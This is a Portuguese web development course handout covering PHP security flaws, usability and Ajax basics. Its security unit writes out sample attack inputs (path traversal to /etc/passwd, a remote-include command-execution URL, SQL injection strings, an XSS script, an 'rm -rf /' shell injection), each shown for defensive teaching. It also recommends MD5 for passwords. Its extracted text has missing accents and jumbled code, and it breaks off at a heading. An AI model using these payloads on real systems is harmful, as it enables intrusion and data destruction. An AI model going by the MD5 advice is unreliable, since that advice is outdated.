To de Interfaces Na WEB

DESENVOLVIMENTO DE INTERFACES NA WEB
UNIDADE 1 1.1 1.2
INTERFACES - SEGURANA ....................................................................................................................... 3
CONCEITOS DE SEGURANA ............................................................................................................................................ 3 INVASES EM PHP ....................................................................................................................................................... 4 INTERFACES - APRESENTAO ............................................................................................................... 16
UNIDADE 2 2.1
USABILIDADE ............................................................................................................................................................. 16 INTERFACES - DESEMPENHO .................................................................................................................. 19
UNIDADE 3 3.1 3.2 3.3 3.4 3.5 3.6 3.7 3.8 3.9
CONCEITOS ............................................................................................................................................................... 19 O QUE AJAX? .......................................................................................................................................................... 19 OS QUATRO PRINCPIOS DO AJAX: ................................................................................................................................. 21 COMO COMEAR? ...................................................................................................................................................... 23 COMO TESTAR O NAVEGADOR? ..................................................................................................................................... 23 REQUISITANDO EM DIVERSOS BROWSERS:........................................................................................................................ 25 ENVIANDO A REQUISIO - PARMETROS DO ENVIO DA REQUISIO ..................................................................................... 27 VERIFICANDO OS DADOS RETORNADOS PELO SERVIDOR: ..................................................................................................... 29 RETORNOS EM TEXTO SIMPLES: ..................................................................................................................................... 29 ESTRUTURA DE UM DOCUMENTO XML .................................................................................................. 37
UNIDADE 4 4.2 4.3 4.4
MONTANDO UM DOCUMENTO XML COM DOM E PHP. ................................................................................................... 39 MONTANDO UM XML EM PHP DE FORMA TEXTUAL ......................................................................................................... 43 RETORNO DO CONTEDO EM XML PARA O AJAX .............................................................................................................. 44 REQUISIES DINMICAS EM AJAX AO PHP .......................................................................................... 49
UNIDADE 5 5.1
CRIANDO UM DOCUMENTO XML TEXTUAL COM CONEXO AO BANCO DE DADOS .................................................................... 49 MANIPULANDO O DOM EM JAVASCRIPT PARA RECURSOS COM AJAX ................................................... 58
UNIDADE 6 6.1 6.2 6.3 6.4 6.5 6.6 6.7 6.8 6.9 6.10 6.11
ACESSO AOS ESTILOS DOS COMPONENTES DO DOCUMENTO................................................................................................. 58 BIBLIOTECAS LIVRES: A FACILIDADE NA MANIPULAO DE DOCUMENTOS................................................................................ 62 CRIANDO UMA JANELA ARRASTVEL ............................................................................................................................... 65 CRIANDO UMA VORE DE MENUS ............................................................................................................................... 69 CRIANDO EFEITO LIGHTBOX ....................................................................................................................................... 74 ORDENANDO TABELAS ................................................................................................................................................. 75 AMPLINADO IMAGENS ................................................................................................................................................. 77 CRIANDO AVALIAES ................................................................................................................................................. 79 MENUS EM ABAS ....................................................................................................................................................... 81 EXIBINDO DICAS EM LINKS ............................................................................................................................................ 85 EXIBINDO UM CALENDRIO .......................................................................................................................................... 88 DREAMWEAVER E O AJAX ...................................................................................................................... 91
UNIDADE 7 7.1 7.2
ABORDAGEM SIMPLES SOBRE OS COMPONENTES DO SPRY ................................................................................................. 91 EFEITOS SPRY COM SPRY EFFECTS................................................................................................................................ 95 TRABALHO FINAL: .................................................................................................................................. 99
UNIDADE 8 8.1
APLICANDO OS RECURSOS NA PRTICA: ........................................................................................................................... 99
Desenvolvimento de Interfaces na Web
Unidade 1 -
Interfaces - Segurana
1.1 Conceitos de Segurana
Quando pensamos desenvolvimento de interfaces para Web inevitvel observarmos questes de segurana e desempenho. Neste sentido so cada vez mais crescentes as tentativas de padronizao e definies de formatao de linguagem, processos e protocolos de comunicao. Por isso, o termo Segurana da Informao que est relacionada com proteo de um conjunto de dados, no sentido de preservar o valor que possuem, ganha cada vez mais destaque. Os trs principais atributos que so levados em considerao para a anlise e orientao, alm do planejamento e implantao da segurana so: CIA (Confidentiality, Integrity and Availability) -Confidencialidade, Integridade e Disponibilidade. Outros atributos importantes so a irretratabilidade e a autenticidade. Graas a evoluo do comrcio eletrnico e das redes sociais com a Internet 2.0, a privacidade tambm uma grande preocupao. Os atributos bsicos (segundo os padres internacionais) so os seguintes:

Confidencialidade - o atributo que limita o acesso a informao to somente s somente das pessoas/sistemas que possuem autorizao. Integridade o atributo que garante que a informao manipulada mantenha todas as caractersticas originais estabelecidas pelo proprietrio da informao, incluindo controle de mudanas e garantia do seu ciclo de vida (nascimento, manuteno e destruio). Disponibilidade - propriedade que garante que a informao esteja sempre disponvel para o uso legtimo, ou seja, por aqueles usurios autorizados pelo proprietrio da informao.
Existem algumas metodologias de segurana que so utilizadas na tentativa de frear as constantes invases que muitos sistemas vem sofrendo, so elas:
Mecanismos de criptografia. Permitem a transformao reversvel da informao de forma a torn-la ininteligvel a terceiros. Utiliza-se para tal, algoritmos determinados e uma chave
secreta para, a partir de um conjunto de dados no criptografados, produzir uma seqncia de dados criptografados. A operao inversa a decifrao.
Assinatura digital. Um conjunto de dados criptografados, associados a um documento do qual so funo, garantindo a integridade e autenticidade do documento associado, mas no a sua confidencialidade. Mecanismos de garantia da integridade da informao. Usando funes de "Hashing" ou de checagem, consistindo na adio. Mecanismos de controle de acesso. Palavras-chave, sistemas biomtricos, firewalls, cartes inteligentes. Mecanismos de certificao. Atesta a validade de um documento. Integridade. Medida em que um servio/informao genuno, isto , est protegido contra a personificao por intrusos. Honeypot: o nome dado a um software, cuja funo detectar ou de impedir a ao de um cracker, de um spammer, ou de qualquer agente externo estranho ao sistema, enganandoo, fazendo-o pensar que esteja de fato explorando uma vulnerabilidade daquele sistema. Protocolos seguros: uso de protocolos que garantem um grau de segurana e usam alguns dos mecanismos citados aqui
1.2 Invases em PHP

A linguagem PHP uma das mais difundidas na Internet e por conseqncia tambm a que possui o maior nmero de tentativas, e muitas vezes sucesso, de invaso. A utilizao da combinao de PHP, Mysql e Apache para o desenvolvimento de sistemas e-commerce, abriu um amplo caminho para a atuao dos crackers. fundamental observar alguns procedimentos simples, mas que podem fazer muita diferena, para a segurana de seu sistema. Vejamos alguns deles.
1.2.1 Variveis Globais

Este tipo de invaso j bem antigo, e foi tratado em muitos artigos e fruns de discusso, no entanto ainda comum encontrarmos programadores que no se preocupam com este tipo de falha na segurana No php.ini (arquivo de configurao do PHP) a varivel register_globals at a verso 4.2.0 o padro era ON (ativada), porm a partir dela o padro tornou-se OFF (desativada), mas muitos servidores ainda usam ON, pois muitos scripts antigos foram feitos com base o register_globals ON, ento obviamente no funcionam quando o padro OFF. O problema quando register_globals est ON que as variveis GET/POST se tornam variveis globais.
Por exemplo: http://site.com.br/teste.php?id=4&cidade=poa
Como register_globals est ON, as variveis id e cidade tornaram-se variveis globais. <?php echo $id; // 4 echo $cidade; // poa ?>
O problema que isso permite que variveis sejam injetadas via url. Um script com grande vulnerabilidade poderia ser um como esse: <?php if(Validausuario($usuario, $senha)) { $logado = 1; } // se tiver valor 1 como se fosse autenticado if($logado == 1) { // se estiver logado ele v a pagina admin.php. include("admin.php"); } ?> No entanto se fosse digitado no browser o endereo: teste.php?logado=1. O script entenderia que a pessoa est logada, pois $logado se tornou uma varivel global com o valor 1. Uma forma mais simples de corrigir o problema seria assim: <?php if(Validausuario($usuario, $senha)) { $logado = 1; } else { $logado = 0;
} ?> Desse modo, at mesmo se o $logado for injetado via url, ele se tornaria 0. Com register_globals OFF, variveis que so passadas como parmetro via url, no se tornam variveis globais. A forma certa de utilizar o simples uso das chamadas variveis super globais, tais como $_GET, $_POST, $_SERVER, etc. O uso das super globais sempre recomendado por razes de segurana e tambm por deixar o cdigo mais limpo e seguro. Pois atreves de seu uso saberemos quais so as variveis que esto sendo envidas pelos mtodos GET/POST e quais no esto.
1.2.2 Arquivos include

Seguir as orientaes de encapsulamento de cdigo e trabalho em camadas, com o uso de padres como o MVC altamente recomendvel. Para tal, na linguagem PHP utilizamos a chamadas a arquivos externos com o uso dos comandos require ou include.
Vejamos o seguinte exemplo: <?php //aqui ficaria o cabealho $page = $_GET['page']; include($page); //aqui ficaria o rodap ?>
Deste modo, possvel colocar contedos especficos em arquivos separados. Exemplo: about.php, download.php, e o link para essas paginas seriam algo como: index.php?page=about, index.php?page=downloads.php. No entanto nosso cdigo ficaria vulnervel. No caso de a requisio a nossa pgina ser realizada da seguinte formada: index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd
Dessa forma seu arquivo de senhas fica vulnervel para ser visualizado, ou qualquer outro arquivo que esta rodando sob o PHP (HTTPD ou Apache normalmente), pode ser lido por qualquer usurio. O outro problema se o parmetro 'URL Wrapper', tambm localizado no arquivo php.ini, estiver marcado como ON (que o valor por padro), com isso possvel fazer um upload de um arquivo para outro Web Server.
Vejamos outro exemplo: <?php passthru($_GET['cmd']); ?>
Neste caso, ao inserirmos na barra de enderos o seguinte valor: index.php?page=http://outrosite.com.br/hax0r.txt&cmd=whoami poderemos ento rodar qualquer comando em seu servidor ou poderemos mostrar detalhes da conexo com o banco de dados, ou seja, basicamente rodar qualquer cdigo PHP. A funo include recupera um arquivo de um servidor, e ento executa isso como um cdigo PHP, algo que obviamente muito perigoso. Um mtodo seguro de incluir arquivos seria como o abaixo:
<?php //cabealho do site $page = $_GET['page']; //para ter certeza que $page alfanumrico. if(eregi("^[a-z0-9\-_\.]+$", $page, $regs)) { $dir = "includes/"; //pode ser branco $ext = ".php"; //.php, .html, .txt, whatever if(file_exists($dir . $page . $ext)) { include($dir . $page . $ext); //ou outro tipo de extenso se no for necessariamente um arquivo .php
} else { echo '404 - Not Found'; //ou algo similar } } else { echo 'Contedo do site'; /rodap do site } ?> Ento o link: index.php?page=about (assumiria about.php dentro do diretrio 'includes').
Se o arquivo que ser includo no contm cdigo PHP e possui apenas texto, ento o correto a utilizao da funo readfile() ao invs de include()/require(), pois ambos iro executar qualquer cdigo PHP que o arquivo includo contiver, no entanto a funo readfile() no o far. Usar um diretrio separado para incluir arquivos uma tima for de evitar urls como: "includes/http://blah.com/lala.txt" que neste caso no ir funcionar. No realmente necessrio esta prtica se utilizarmos a funo eregi() como filtro nas urls, no entanto recomendvel no deix-los na raiz. comum encontrarmos arquivos que sero includos com a extenso '.inc'. Esta prtica perigosa, pois arquivos com a extenso 'inc' no so interpretados como arquivos com um cdigo PHP pelo Web Server e seu contedo ser visualizado pelo navegador como um texto. Esta prtica expe muitas vezes arquivos, importantes como os arquivos de configurao que podem conter senhas de banco de dados ou outros dados considerados sigilosos. Arquivos que sero includos devem ter a extenso .php, como por exemplo: config.inc.php. Obviamente a manuteno do inc claramente um definio utilizada para um melhor controle dos arquivos que esto sendo inseridos
1.2.3 SQL injection

SQL injection ganhou muita visibilidade nos ltimos devido ao grande numero de sites que tem seus bancos de dados expostos a falhas. A exposio dos sistemas de gerenciamento de banco de dados definida pela construo da codificao da linguagem que faz conexo com o mesmo, mas tambm por regras internas de segurana. Estas regras podem, por exemplo, definir se o usurio que realiza a conexo com o banco possui permisso de visualizar a estrutura de todas as tabelas ou mesmo sua excluso. Aqui iremos nos deter apenas na fragilidade do cdigo PHP, que pode permitir a invaso do banco de dados.
Vamos nos deter em um simples sistema de login, que valida usurios do banco dados: <?php $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * password='$password'"; FROM ùsers` WHERE username='$username' AND
$result = mysql_query($query); if(mysql_num_rows($result) > 0) { $admin = 1; } else { $admin = 0; } if($admin == 1) { // blah blah, restricted content here. } ?>
Observamos ento, que o que cdigo acima realiza pegar o username e o password recebidos do formulrio e checar no banco de dados para conferir se os mesmos so vlidos. Vamos considerar como um usurio vlido, "admin", por exemplo. Se ns colocarmos no campo de login da pagina: admin'# Vejamos o resultado se reescrevermos a SQL com as variveis expandidas: <?php $query = "SELECT password='xxx'"; ?> * FROM ùsers` WHERE username='admin'#' AND
O problema aqui que as aspas simples no esto sendo escapadas adequadamente. No MySQL, o smbolo (#) considerado como um comentrio, como as barras duplas (//) no PHP ou
C++, tudo aps o (#) passa a ser ignorado pois passa a ser um comentrio, ignorando a verificao da senha. Obviamente isto s ir funcionar se voc tiver um usurio vlido. No entanto, voc no precisa necessariamente utilizar um usurio vlido pode-se realizar o teste usando: ' OR 1=1# O resultado disto na converso da SQL com as variveis expandidas:: <?php $query = "SELECT password='xxx'"; ?> * FROM ùsers` WHERE username='' OR 1=1#' AND
Isso ir selecionar todos os usurios do banco de dados. Se a funo de login apenas contar o numero de linhas retornadas apos a query como a do exemplo. Ento provavelmente ir assumir os dados do primeiro usurio retornado. Que pode ser possivelmente um admin. H vrias coisas perigosas que podem ser realizadas com SQL injection. O problema principal so as aspas simples serem interpretadas como parte da query, que obviamente no o que desejamos. O precisa ser feito sempre ter certeza que elas sero escapadas, de forma que ' se tornaria \' (\ usado quando se escapa uma string). O melhor modo para fazer isto usar a funo nativa do PHP mysql_escape_string, como o exemplo abaixo:
<?php $username = mysql_escape_string($_POST['username']); $password = mysql_escape_string($_POST['password']); $query = "SELECT * password='$password'"; //etc etc ?> FROM ùsers` WHERE username='$username' AND
Agora se ns tentarmos entrar com o campo username contendo admin'# aconteceria o seguinte:
10
<?php $query = "SELECT password='xxx'"; ?> * FROM ùsers` WHERE username='admin\'#' AND
As aspas simples so escapadas com sucesso e a query no est mais vulnervel. Se voc sabe que uma determinada varivel ir ter o valor de inteiro, ento o melhor a ser feito : <?php $offset = (int)$_GET['offset']; $query = "SELECT * FROM `cakes` LIMIT 20 OFFSET '$offset'"; ?>
Ento s um valor numrico pode ser passado deste modo, se um texto for enviado o valor da varivel $offset ser 0. Praticamente tudo precisa ser escapado antes de ser enviado ao banco de dados. Os programadores tendem a esquecer de coisas que no esto vindos das variveis GET/POST, como o HTTP_REFERER ou HTTP_USER_AGENT, estes podem ser facilmente modificados para conter uma SQL injection que deve ser escapado antes de ser colocado em uma query. Nota: Para voc tirar as barras que foram includas para escapar, quando for mostrar os dados para o usurio use stripslashes(). Para evitar barras desnecessrias:
<?php $article = mysql_fetch_array($fnord); echo $article['title']; // Badger\'s Parade echo stripslashes($article['title']); // Badger's Parade ?>
1.2.4 Protegendo partes dos arquivos
11
Outra falha comum esquecer a checagem do login em determinadas partes do cdigo, como pginas internas que so visualizadas aps o login. Vejamos este exemplo: postnews.php:
<?php if($_SERVER['REQUEST_METHOD'] == 'POST') { header("Location: news.php"); exit; } // Post News: if(!UserLoggedIn()) { echo "Erro, Voc no est logado"; die; } // html do formulrio ?>
Se um usurio no autenticado fosse a essa pagina, ento um erro iria aparecer. Se, no entanto um valor vindo do campo POST fosse enviado, seria possvel ter acesso ao news.php sem estar autenticado. muito fcil de esquecer-se de proteger pedaos especficos de cdigos, especialmente quando usurios logados e no logados tem acesso mesma pagina e iro ver contedos diferentes, como tambm existem paginas que apenas quem est logado pode ter acesso. Sempre se lembre de proteger qualquer parte do cdigo com checagens de login antes de executar o resto do cdigo.
1.2.5 Cross Site Scripting (CSS/XSS)

Cross Site Scripting feito quando voc no filtra tags HTMLs vindas de um usurio e acaba executando elas, por exemplo: <?php if(mysql_num_rows($result) < 1) { echo "Sua busca por {$_GET['q']} no encontrou resultados";
12
exit; } else { //blah } ?> search.php?q=<script>alert("hello");</script>
Em uma busca mal sucedida exibiria isto; "Sua busca por <script>alert("hello");</script> no encontrou resultados " Esse Javascript seria interpretado pelo navegador e uma alerta seria exibido. Enquanto esse exemplo pode parecer relativamente inofensivo, possvel colocar coisas que iro pegar dados de cookies, podendo at roubar sesses. Os dados devem ser checados antes de serem interpretados sempre, como no caso de SQL injection, em XSS tambm, existem dois mtodos para fazer isso: . A funo strip_tags(); Ir remover todas as tags HTML de uma string; . A funo htmlspecialchars(); Que ir converter caracteres especiais do HTML para um tipo que no poder ser interpretado no browser como funo do HTML e sim texto.
<?php echo " Sua busca por resultados"; //converte echo " Sua busca resultados"; //remove ?> ".htmlspecialchars($_GET['q'])." no encontrou por ".strip_tags($_GET['q'])." no encontrou
O correto que nenhum valor vindo de um usurio deve ser executado sem uma devida checagem antes.
1.2.6 Ver cdigo fonte

13
Exitem alguns sites que permitem atravs de funes especficas que seus usurios vejam o cdigo fonte de determinadas pginas. Normalmente um link chamado viewsource.php?file=about.php ou algo do gnero. Esta funcionalidade apesar de ser bem interessante, geralmente acaba deixando o site vulnervel para que se possa ver qualquer cdigo fonte de um arquivo no servidor. Algo que certamente no desejado, pois certos arquivos podem conter senhas de bancos de dados etc.
<?php // script vulnervel if($file == 'config.php') { die("Voc no pode visualizar este arquivo"); } ?> O problema com isto que voc pode fazer o seguinte viewsource.php?file=./config.php e isso ir checar com os caracteres adicionais ./.
O melhor jeito de fazer isso : <?php // agora sim if(stristr($file, "config.php")) { die("Voc no pode visualizar este arquivo "); } ?> Sendo que a funo stristr(), ir exibir o contedo da string $file a partir do trecho config.php, eliminando assim os caracteres adicionais.
1.2.7 Comandos shell
14
Comandos shells so outro exemplo de falha de vulnerabilidade. No PHP executar comandos shell fcil, pois existem varias funes para isso, como system(), exec(), popen(), backticks, passthru, etc. De forma padro no devemos utilizar qualquer valor vindo de um usurio para executar como um comando shell: <?php $text = $_GET['text']; $banner = `banner $text`; ?>
Se algum colocar: x; rm; -rf; /; isso causaria muitos problemas.. Voc pode usar a funo escapeshellcmd(); para se proteger de dados perigosos vindos de usurios. Est funo escapa qualquer caractere em uma string que possa ser utilizado para enganar um comando shell para executar comandos arbitrrios. E tambm aconselhvel usar alguma regex para ter certeza. O ideal no utilizar valores de um usurio em comandos shell.
1.2.8 Senhas de banco de dados

extremamente aconselhvel utilizar algum tipo de encriptao no armazenamento de suas senhas. O MD5 um dos tipos de encriptao suportado pelo PHP e recomendado para a maioria das aplicaes. Existem outras metodologias de encriptao e devem ser avaliadas sempre que se pensa em segurana de dados.
15
Unidade 2 2.1 Usabilidade
Interfaces - Apresentao
O termo usabilidade na Informtica usado para definir a facilidade com que as pessoas podem utilizar um sistema a fim de realizar uma tarefa especfica e importante. A usabilidade pode tambm se referir aos mtodos de mensurao da usabilidade deste mesmo sistema. A usabilidade est diretamente ligada ao dilogo na interface e a capacidade do software em permitir que o usurio alcance suas metas de interao com o sistema. Ser de fcil aprendizagem, permitir uma utilizao eficiente e apresentar poucos erros, so os aspectos fundamentais para a percepo da boa usabilidade por parte do usurio. Mas a usabilidade pode ainda estar relacionada com a facilidade de ser memorizada e ao nvel de satisfao do usurio. A necessidade de entender as necessidades dos usurios no ambiente virtual facilita a compreenso do contedo disponibilizado, fazendo-o auto-suficientes para navegar pelos diversos contedos. At quem tem dificuldade motora ou problemas de navegao por falta de conhecimento tcnico poder alcanar o que deseja o produtor da informao, se os processos de usabilidade forem respeitados, deixando o usurio da pgina web mais vontade, mais independentes.
16
2.1.1 Usurio como foco

No desenvolvimento de um sistema ou adaptao de novos mdulos para um sistema importante que se siga um padro de mercado ou quando possvel agradar o mximo de caractersticas semelhantes as de uma interface que o usurio alvo j esteja acostumado. Um dos pontos importantes na aceitao da interface a maneira com que o desenvolvedor ir "driblar" a poluio visual que pode acabar tornando uma interface muito diferente dos padres de uma interface amigvel. O paradigma de desenvolvimento de uma interface com o usurio deve permitir a realizao de sucessivos ciclos de "anlise/concepo/testes", com a necessria retro-alimentao dos resultados dos testes, de um ciclo a outro. A estratgia consiste em, a cada ciclo, identificar e refinar continuamente o conhecimento sobre o contexto de uso do sistema e as exigncias em termos de usabilidade da interface. Na seqncia dos ciclos se constroem verses intermedirias da interface do sistema que so submetidas a testes de uso, em que os representantes dos usurios simulam a realizao de suas tarefas. Inicialmente eles participaro de simulaes "grosseiras", usando maquetes, mas, com o avano do desenvolvimento, eles recorrero a prottipos e verses acabadas do sistema, em simulaes mais e mais fidedignas. O objetivo avaliar a qualidade das interaes e levar em conta os resultados dessas avaliaes para a construo de novas verses das interfaces. Se implementada desde cedo no desenvolvimento, tal estratgia pode reduzir o risco de falhas conceituais do projeto, garantindo que, a cada ciclo, o sistema responda cada vez melhor s expectativas e necessidades dos usurios em suas tarefas. Uma interface amigvel, deve fazer com que o usurio se sinta bem ao utilizar o sistema e o mesmo deve transmitir a ele uma sensao de que fcil de ser operado. Deve ter comandos intuitivos e visuais caprichados. Muitas vezes a simplicidade e a padronizao o segredo para colocar o sistema que est sendo desenvolvido ao pblico com uma interface amigvel. Interfaces muito cheias de animaes e imagens, ao contrrio do que se pensa, criam inmeras dificuldades ao usurio em navegar ou clicar em um boto especfico no programa ou consultar uma informao, alm de transmitir uma impresso de que o mesmo complexo e difcil de ser operado.
17
sempre indicado que se use cores padres do sistema operacional. Cores fortes, como vermelho, devem ser usadas apenas em situaes que devem chamar a ateno do usurio. O software a ser utilizado deve ter atributos (ergonmicos e de funcionalidade) que propiciem ou mesmo incentivem o desenvolvimento de posturas autnomas de aprendizado. preciso identificar que atributos so estes. O j tradicional e conhecido conceito de interface amigvel deve ser revisto a partir de tais hipteses. As hipteses construdas na dimenso pedaggica podem agora ser analisadas da perspectiva tcnica. A primeira hiptese afirma que a tarefa que o usurio vai realizar deve ser prioritria na definio da interface. J a segunda hiptese, sustenta que o conhecimento das caractersticas tcnicas do hardware e do software deve ocorrer na medida em que o uso do equipamento progride, ou seja, na medida em que a necessidade desse conhecimento se impe ao sujeito que aprende. No mbito do projeto de interfaces tal hiptese est relacionada com o princpio geral, pelo qual, deve-se minimizar a carga de conhecimentos externos ao domnio da realizao da tarefa, necessrios operao do ambiente. A anlise da terceira hiptese na abrangncia das caractersticas tcnicas da ferramenta no to simples. Esta hiptese fixa que o aprendizado autnomo pressupe relaes de cooperao entre os aprendizes. Ora, a nvel tcnico a implementao de sistemas que permitam o trabalho cooperativo entre vrios usurios tem, por excelncia, sido buscada com a tecnologia de redes de computadores, com os sistemas que permitem o compartilhamento de tarefas como a construo distribuda de base de dados (por exemplo).
18
Unidade 3 3.1 Conceitos
Interfaces - Desempenho
Quando pensamos no desenvolvimento de interfaces para WeB, no podemos deixar de pensar em questes de performance. Mesmo com o aumento constante da velocidade da difuso da banda larga, a Internet ainda possui um volume significativo de usurios que ainda possuem conexes de baixa performance. Alem disso, o uso cada vez mais comum dos meios digitais para comercio eletrnico, tem elevado o grau de importncia dado a performance. Neste mbito, apenas alguns segundos podem ser cruciais para a definio da concretizao ou no de um volume maior de vendas. Existem vrias tecnologias que se popularizaram para este tipo de aplicao, dentre elas podemos citar .net, php, jsp, javascript, XML, mas cada uma delas tem sua participao no desenvolvimento de sistemas para web. A combinao de linguagens mais popular a chamada Ajax, da qual veremos mais detalhes nas prximas unidades.
3.2 O que Ajax?

Ao contrrio do que muitos pensam Ajax no uma nova tecnologia, e sim a juno de tecnologias existentes no mbito web que unidas melhoram tanto a performance quanto a sistemtica de navegao em website nos quesitos de usabilidade e funcionalidade. AJAX a abreviao de Assyncronous Javascript and XML, ou seja, o acesso a dados de forma Assncrona no servidor utilizando-se linguagem Javascript no navegador e arquivos XML gerados por alguma linguagem dinmica no servidor. Arquivos XML (eXtensible Markup Language) tem-se tornado populares na difuso e compartilhamento de dados e acessibilidade para dispositivos moveis por exemplo. Veremos em breve o formato e a maneira que estes arquivos so interpretados. O surgimento desta tecnologia tratado junto com uma serie de outras modificaes e padronizaes na web que formam o paradigma da Web 2.0, onde conceitos que visam o conforto do usurio e a facilidades na navegao imperam junto com padres j estabelecidos com o w3c. Veja abaixo um diagrama que expressa um pouco melhor este conceito:
19
Como sabemos devido ao Javascript ser uma linguagem Client Side no possvel realizar a leitura de um arquivo texto comum pelo Javascript, pelo menos de forma que este reflita as informaes e comportamentos retornados pelo servidor, desta maneira ficamos apegados uma forma de poder executar um arquivo dinmico do outro lado, sem que este seja exibido, ou sequer acessado diretamente pelo cliente. A forma que estes dados sero retornados ser em XML ou atravs de uma String que ser tratada por ns no Javascript. Exemplos simples de aplicaes com Ajax, so simples formulrios web que no necessitam ser recarregados para buscarem determinadas informaes do servidor, como o caso de o usurio selecionar um estado e logo aps aparecem as opes de seleo de cidades do respectivo estado selecionado no processo anterior. Desta forma ganhamos tempo de navegao e satisfao do usurio que est navegando em nosso site. Veja abaixo alguns outros exemplos prticos: Carrinho de compras: utilizando-se da manipulao em DOM o usurio pode arrastar e soltar produtos diretamente dentro do carrinho, sem a necessidade de esperar por inmeras requisies da pagina ao servidor. Formulrios com grande nmero de campos: possibilidade de selecionar os campos que sero preenchidos e estes j auto formularem os dados disponveis em outros elementos do formulrio, sem o recarregamento da pgina. Auto completar: recurso j disponvel em aplicativos que so executados no desktop tambm pode ser implementado em um site da internet, sugerindo palavras conforme os caracteres que o usurio digita no teclado em determinado campo do formulrio.
20
3.3 Os quatro princpios do AJAX:

3.3.1 O navegador hospeda uma aplicao e no o contedo:
Em uma aplicao web clssica o navegador faz o papel de uma espcie de terminal burro. Ele no sabe absolutamente nada do que o usurio esta realmente realizando em suas aes conseqentes. Sendo que inmeras solicitaes devem ser feitas ao servidor pela sesso do usurio para que o contedo do site seja atualizado.
Quando a sesso do usurio iniciada no servidor, o site simplesmente carrega uma interface com o que foi retornado, sendo que qualquer outra interao do usurio ser processada no lado do servidor, e novamente o site ser recarregado para que estas sejam atualizadas (exemplo clssico de comercio eletrnico). J em uma aplicao AJAX a parte lgica da operao movida para o navegador (lado do cliente), como mostrado abaixo:
21
Uma aplicao AJAX bem desenvolvida elimina diversas etapas de requisies ao servidor, deixando a aplicao agir de forma mais inteligente, e ganhando-se assim um considervel tempo de navegao no site. Veja o grfico abaixo:
Portanto, vamos a partir de agora abordar um novo conceito no processo de requisio de dados, e dividir melhor as tarefas, bem vindo ao AJAX.
22
3.4 Como comear?

Um dos maiores empecilhos da utilizao do Javascript sempre foi a questo de compatibilidade entre os navegadores em uso, atualmente temos divergncias entre os mtodos de acessibilidade dos navegadores mais populares (Mozilla Firefox e Internet Explorer). Para isso existem maneiras de solicitar as requisies identificando qual o navegador que est sendo usado pelo usurio no momento de acesso ao site. Utilizaremos um mtodo conector conhecido como Requisitor XML via HTTP. Para acessarmos este elemento criaremos uma funo que simplesmente realizar este processo. O navegador Microsoft utiliza um componente adjacente acessado por controle ActiveXObject.
3.5 Como testar o navegador?

Sabemos que no Javascript se alguma instruo ou erro de sintaxe ocorre durante o processo muitas etapas so abortadas e muitas vezes um erro gerado e retornado na tela do navegador, para o cliente isso sinnimo de site mal estruturado e desenvolvido, surge ento a possibilidade de tratarmos estes erros e retornarmos algo mais Suva no momento de tratar este problema. Tentativa e retorno (TRY and CATCH) Veja o exemplo a seguir: var s; var a = new Array("ma", "banana") s = a[3].substring(0,4); document.write(s);
O exemplo acima se executado ir retornar um erro dizendo que o vetor no possui a posio solicitada, e que no possvel executar a funo substring no elemento desejado.
23
Caso quisssemos executar este mesmo processo de forma que caso algo de errado seja retornado um erro coerente para o usurio poderamos usar o TRY and CATCH. Veja a atualizao do cdigo abaixo: var s; var a = new Array("ma", "banana") try{ s = a[3].substring(0,4); }catch(e){ s = Ocorreu um erro no script!; } document.write(s);
O TRY and CATCH um teste seqencial que sempre retorna um valor e que visa tratar um erro que possa interromper a execuo do script de forma grosseira. A sintaxe dada da seguinte maneira: try { bloco com cdigo normal mas que pode gerar erros } catch(exceo) { bloco com cdigo capaz de fazer a recuperao dos erros } Ou em pseudocdigo: tentar { bloco com cdigo normal mas que pode gerar erros } retorna(exceo) { bloco com cdigo capaz de fazer a recuperao dos erros }
NOTA: Apesar de estas instrues no fazerem parte do padro ECMAScript, elas so suportadas por todos os browsers importantes e so de grande utilidade para a construo de cdigo robusto. Em qual circunstncia ser usado o TRY and CATCH?
24
A acessibilidade ao XML varia de navegador para navegador, sendo que se tentarmos acess-lo de uma forma no disponvel no navegador do usurio uma srie de erros ser retornada.
3.6 Requisitando em diversos browsers:

Utilizando-se da funo TRY and CATCH criaremos uma funo especifica para utilizarmos o AJAX no navegador do usurio, est usar os seguintes mtodos para acessar estes componentes: Internet Explorer: Active XObject(Msxml2.XMLHTTP): AtiveXObject(Microsoft.XMLHTTP); Firefox, Opera, Saffari, e outros: XMLHttpRequest;
Onde: XMLHTTP: Objeto Javascript que torna possvel a comunicao assncrona com o servidor, sem a necessidade de recarregara pgina por completo. Este objeto fazer parte da especificao DOM nvel 3. Veja um exemplo da funo abaixo: function criaxmlhttp(){ try{ xmlhttp = new XMLHttpRequest(); }catch(e){ try{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e1){ try{ xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }catch(e2){ xmlhttp = false; document.write("Navegador no da suporte a Ajax!"); } } }
25
} Com esta funo iremos ao longo do curso prosseguir com a consulta assncrona de dados no servidor, sendo que como podemos analisar em ultimo caso retornado um erro informado que o navegador do usurio no compatvel com AJAX.
26
3.7 Enviando a requisio - parmetros do envio da requisio

Aps termos estabelecido qual o objeto de conexo ser utilizado pelo cliente para a conexo assncrona, deveremos ento criar uma nova funo que ser responsvel por requisitar determinado arquivo dinmico no servidor e realizar assim a solicitao e futuramente a leitura dos dados retornados pelo servidor. Para realizar a requisio utilizaremos do mtodo OPEN no qual sero passados trs parmetros: objeto.open(MTODO, URL, ASSINCRONA?);
Onde: Objeto: objeto XmlHTTP gerado pela funo anteriormente vista. Mtodo: GET ou POST. Assncrona: valor booleano no qual TRUE representa que a conexo assncrona, e necessita de um retorno dado pelo servidor, e FALSE caso contrrio. Vejamos ento como ficar a nossa funo juntamente de alguns outros mtodos essenciais no Ajax: function acessa(elemento,valor){ criaxmlhttp(); xmlhttp.open("GET",arquivo01.php,true); xmlhttp.send(null); } Como podemos observar, primeiramente chamada a funo criaxmlhttp(), a qual responsvel por criar um objeto xmlhttp no qual logo aps utilizamos em conjunto com o mtodo OPEN. A funo acima demonstra a conexo a um arquivo em PHP chamado arquivo01.php. Logo aps chamado o mtodo send o qual podemos retornar algum tipo de valor para o servidor, mas neste caso simplesmente retornamos como NULL significando assim que no h mais nada a ser realizado no processo.
27
3.7.1 Analisando os 5 estados da requisio

